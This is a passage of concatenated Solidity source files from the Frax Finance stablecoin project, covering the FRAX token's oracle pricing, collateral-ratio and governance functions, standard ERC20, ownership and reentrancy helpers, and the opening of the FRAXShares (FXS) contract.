onlyPools() { require(frax_pools[msg.sender] == true, "Only frax pools can call this function"); _; } modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address || msg.sender == controller_address, "You are not the owner, controller, or the governance timelock"); _; } modifier onlyByOwnerGovernanceOrPool() { require( msg.sender == owner || msg.sender == timelock_address || frax_pools[msg.sender] == true, "You are not the owner, the governance timelock, or a pool"); _; } /* ========== CONSTRUCTOR ========== */ constructor( string memory _name, string memory _symbol, address _creator_address, address _timelock_address ) public Owned(_creator_address){ require(_timelock_address != address(0), "Zero address detected"); name = _name; symbol = _symbol; creator_address = _creator_address; timelock_address = _timelock_address; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); DEFAULT_ADMIN_ADDRESS = _msgSender(); _mint(creator_address, genesis_supply); grantRole(COLLATERAL_RATIO_PAUSER, creator_address); grantRole(COLLATERAL_RATIO_PAUSER, timelock_address); frax_step = 2500; // 6 decimals of precision, equal to 0.25% global_collateral_ratio = 1000000; // Frax system starts off fully collateralized (6 decimals of precision) refresh_cooldown = 3600; // Refresh cooldown period is set to 1 hour (3600 seconds) at genesis price_target = 1000000; // Collateral ratio will adjust according to the $1 price target at genesis price_band = 5000; // Collateral ratio will not adjust if between $0.995 and $1.005 at genesis } /* ========== VIEWS ========== */ // Choice = 'FRAX' or 'FXS' for now function oracle_price(PriceChoice choice) internal view returns (uint256) { // Get the ETH / USD price first, and cut it down to 1e6 precision uint256 __eth_usd_price = uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals); uint256 price_vs_eth = 0; if (choice == PriceChoice.FRAX) { price_vs_eth = uint256(fraxEthOracle.consult(weth_address, PRICE_PRECISION)); // How much FRAX if you put in PRICE_PRECISION WETH } else if (choice == PriceChoice.FXS) { price_vs_eth = uint256(fxsEthOracle.consult(weth_address, PRICE_PRECISION)); // How much FXS if you put in PRICE_PRECISION WETH } else revert("INVALID PRICE CHOICE. Needs to be either 0 (FRAX) or 1 (FXS)"); // Will be in 1e6 format return __eth_usd_price.mul(PRICE_PRECISION).div(price_vs_eth); } // Returns X FRAX = 1 USD function frax_price() public view returns (uint256) { return oracle_price(PriceChoice.FRAX); } // Returns X FXS = 1 USD function fxs_price() public view returns (uint256) { return oracle_price(PriceChoice.FXS); } function eth_usd_price() public view returns (uint256) { return uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals); } // This is needed to avoid costly repeat calls to different getter functions // It is cheaper gas-wise to just dump everything and only use some of the info function frax_info() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) { return ( oracle_price(PriceChoice.FRAX), // frax_price() oracle_price(PriceChoice.FXS), // fxs_price() totalSupply(), // totalSupply() global_collateral_ratio, // global_collateral_ratio() globalCollateralValue(), // globalCollateralValue minting_fee, // minting_fee() redemption_fee, // redemption_fee() uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals) //eth_usd_price ); } // Iterate through all frax pools and calculate all value of collateral in all pools globally function globalCollateralValue() public view returns (uint256) { uint256 total_collateral_value_d18 = 0; for (uint i = 0; i < frax_pools_array.length; i++){ // Exclude null addresses if (frax_pools_array[i] != address(0)){ total_collateral_value_d18 = total_collateral_value_d18.add(FraxPool(frax_pools_array[i]).collatDollarBalance()); } } return total_collateral_value_d18; } /* ========== PUBLIC FUNCTIONS ========== */ // There needs to be a time interval that this can be called. Otherwise it can be called multiple times per expansion. uint256 public last_call_time; // Last time the refreshCollateralRatio function was called function refreshCollateralRatio() public { require(collateral_ratio_paused == false, "Collateral Ratio has been paused"); uint256 frax_price_cur = frax_price(); require(block.timestamp - last_call_time >= refresh_cooldown, "Must wait for the refresh cooldown since last refresh"); // Step increments are 0.25% (upon genesis, changable by setFraxStep()) if (frax_price_cur > price_target.add(price_band)) { //decrease collateral ratio if(global_collateral_ratio <= frax_step){ //if within a step of 0, go to 0 global_collateral_ratio = 0; } else { global_collateral_ratio = global_collateral_ratio.sub(frax_step); } } else if (frax_price_cur < price_target.sub(price_band)) { //increase collateral ratio if(global_collateral_ratio.add(frax_step) >= 1000000){ global_collateral_ratio = 1000000; // cap collateral ratio at 1.000000 } else { global_collateral_ratio = global_collateral_ratio.add(frax_step); } } last_call_time = block.timestamp; // Set the time of the last expansion emit CollateralRatioRefreshed(global_collateral_ratio); } /* ========== RESTRICTED FUNCTIONS ========== */ // Used by pools when user redeems function pool_burn_from(address b_address, uint256 b_amount) public onlyPools { super._burnFrom(b_address, b_amount); emit FRAXBurned(b_address, msg.sender, b_amount); } // This function is what other frax pools will call to mint new FRAX function pool_mint(address m_address, uint256 m_amount) public onlyPools { super._mint(m_address, m_amount); emit FRAXMinted(msg.sender, m_address, m_amount); } // Adds collateral addresses supported, such as tether and busd, must be ERC20 function addPool(address pool_address) public onlyByOwnerOrGovernance { require(pool_address != address(0), "Zero address detected"); require(frax_pools[pool_address] == false, "address already exists"); frax_pools[pool_address] = true; frax_pools_array.push(pool_address); emit PoolAdded(pool_address); } // Remove a pool function removePool(address pool_address) public onlyByOwnerOrGovernance { require(pool_address != address(0), "Zero address detected"); require(frax_pools[pool_address] == true, "address doesn't exist already"); // Delete from the mapping delete frax_pools[pool_address]; // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < frax_pools_array.length; i++){ if (frax_pools_array[i] == pool_address) { frax_pools_array[i] = address(0); // This will leave a null in the array and keep the indices the same break; } } emit PoolRemoved(pool_address); } function setRedemptionFee(uint256 red_fee) public onlyByOwnerOrGovernance { redemption_fee = red_fee; emit RedemptionFeeSet(red_fee); } function setMintingFee(uint256 min_fee) public onlyByOwnerOrGovernance { minting_fee = min_fee; emit MintingFeeSet(min_fee); } function setFraxStep(uint256 _new_step) public onlyByOwnerOrGovernance { frax_step = _new_step; emit FraxStepSet(_new_step); } function setPriceTarget (uint256 _new_price_target) public onlyByOwnerOrGovernance { price_target = _new_price_target; emit PriceTargetSet(_new_price_target); } function setRefreshCooldown(uint256 _new_cooldown) public onlyByOwnerOrGovernance { refresh_cooldown = _new_cooldown; emit RefreshCooldownSet(_new_cooldown); } function setFXSAddress(address _fxs_address) public onlyByOwnerOrGovernance { require(_fxs_address != address(0), "Zero address detected"); fxs_address = _fxs_address; emit FXSAddressSet(_fxs_address); } function setETHUSDOracle(address _eth_usd_consumer_address) public onlyByOwnerOrGovernance { require(_eth_usd_consumer_address != address(0), "Zero address detected"); eth_usd_consumer_address = _eth_usd_consumer_address; eth_usd_pricer = ChainlinkETHUSDPriceConsumer(eth_usd_consumer_address); eth_usd_pricer_decimals = eth_usd_pricer.getDecimals(); emit ETHUSDOracleSet(_eth_usd_consumer_address); } function setTimelock(address new_timelock) external onlyByOwnerOrGovernance { require(new_timelock != address(0), "Zero address detected"); timelock_address = new_timelock; emit TimelockSet(new_timelock); } function setController(address _controller_address) external onlyByOwnerOrGovernance { require(_controller_address != address(0), "Zero address detected"); controller_address = _controller_address; emit ControllerSet(_controller_address); } function setPriceBand(uint256 _price_band) external onlyByOwnerOrGovernance { price_band = _price_band; emit PriceBandSet(_price_band); } // Sets the FRAX_ETH Uniswap oracle address function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address) public onlyByOwnerOrGovernance { require((_frax_oracle_addr != address(0)) && (_weth_address != address(0)), "Zero address detected"); frax_eth_oracle_address = _frax_oracle_addr; fraxEthOracle = UniswapPairOracle(_frax_oracle_addr); weth_address = _weth_address; emit FRAXETHOracleSet(_frax_oracle_addr, _weth_address); } // Sets the FXS_ETH Uniswap oracle address function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address) public onlyByOwnerOrGovernance { require((_fxs_oracle_addr != address(0)) && (_weth_address != address(0)), "Zero address detected"); fxs_eth_oracle_address = _fxs_oracle_addr; fxsEthOracle = UniswapPairOracle(_fxs_oracle_addr); weth_address = _weth_address; emit FXSEthOracleSet(_fxs_oracle_addr, _weth_address); } function toggleCollateralRatio() public onlyCollateralRatioPauser { collateral_ratio_paused = !collateral_ratio_paused; emit CollateralRatioToggled(collateral_ratio_paused); } /* ========== EVENTS ========== */ // Track FRAX burned event FRAXBurned(address indexed from, address indexed to, uint256 amount); // Track FRAX minted event FRAXMinted(address indexed from, address indexed to, uint256 amount); event CollateralRatioRefreshed(uint256 global_collateral_ratio); event PoolAdded(address pool_address); event PoolRemoved(address pool_address); event RedemptionFeeSet(uint256 red_fee); event MintingFeeSet(uint256 min_fee); event FraxStepSet(uint256 new_step); event PriceTargetSet(uint256 new_price_target); event RefreshCooldownSet(uint256 new_cooldown); event FXSAddressSet(address _fxs_address); event ETHUSDOracleSet(address eth_usd_consumer_address); event TimelockSet(address new_timelock); event ControllerSet(address controller_address); event PriceBandSet(uint256 price_band); event FRAXETHOracleSet(address frax_oracle_addr, address weth_address); event FXSEthOracleSet(address fxs_oracle_addr, address weth_address); event CollateralRatioToggled(bool collateral_ratio_paused); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "../Math/SafeMath.sol"; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11 <0.9.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; // Due to compiling issues, _name, _symbol, and _decimals were removed /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Custom is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================= FRAXShares (FXS) ========================= // ==================================================================== // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Reviewer(s) / Contributor(s) // Sam Sun: https://github.com/samczsun import "../Common/Context.sol"; import "../ERC20/ERC20Custom.sol"; import "../ERC20/IERC20.sol"; import "../Frax/Frax.sol"; import "../Staking/Owned.sol"; import "../Math/SafeMath.sol"; import "../Governance/AccessControl.sol"; contract FRAXShares is ERC20Custom, AccessControl, Owned { using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ string public symbol; string public name; uint8 public constant decimals = 18; address public FRAXStablecoinAdd; uint256 public constant genesis_supply = 100000000e18; // 100M is printed upon genesis address public oracle_address; address public timelock_address; // Governance timelock address FRAXStablecoin private FRAX; bool public trackingVotes = true; // Tracking votes (only change if need to disable votes) // A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } // A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; // The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /* ========== MODIFIERS ========== */ modifier onlyPools() { require(FRAX.frax_pools(msg.sender) == true, "Only frax pools can mint new FRAX"); _; } modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "You are not an owner or the governance timelock"); _; } /* ========== CONSTRUCTOR ========== */ constructor( string memory _name, string memory _symbol, address _oracle_address, address _creator_address, address _timelock_address ) public Owned(_creator_address){ require((_oracle_address != address(0)) && (_timelock_address != address(0)), "Zero address detected"); name = _name; symbol = _symbol; oracle_address = _oracle_address; timelock_address = _timelock_address; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _mint(_creator_address, genesis_supply); // Do a checkpoint for the owner _writeCheckpoint(_creator_address, 0, 0, uint96(genesis_supply)); } /* ========== RESTRICTED FUNCTIONS ========== */ function setOracle(address new_oracle) external onlyByOwnerOrGovernance { require(new_oracle != address(0), "Zero address detected"); oracle_address = new_oracle; } function setTimelock(address new_timelock) external onlyByOwnerOrGovernance { require(new_timelock != address(0), "Timelock address cannot be 0"); timelock_address = new_timelock; } function setFRAXAddress(address frax_contract_address) external onlyByOwnerOrGovernance { require(frax_contract_address != address(0), "Zero address detected"); FRAX = FRAXStablecoin(frax_contract_address); emit FRAXAddressSet(frax_contract_address); } function mint(address to, uint256 amount) public onlyPools { _mint(to, amount); } // This function is what other frax pools will call to mint new FXS (similar to the FRAX mint) function pool_mint(address m_address, uint256 m_amount) external onlyPools { if(trackingVotes){ uint32 srcRepNum = numCheckpoints[address(this)]; uint96 srcRepOld = srcRepNum > 0 ? 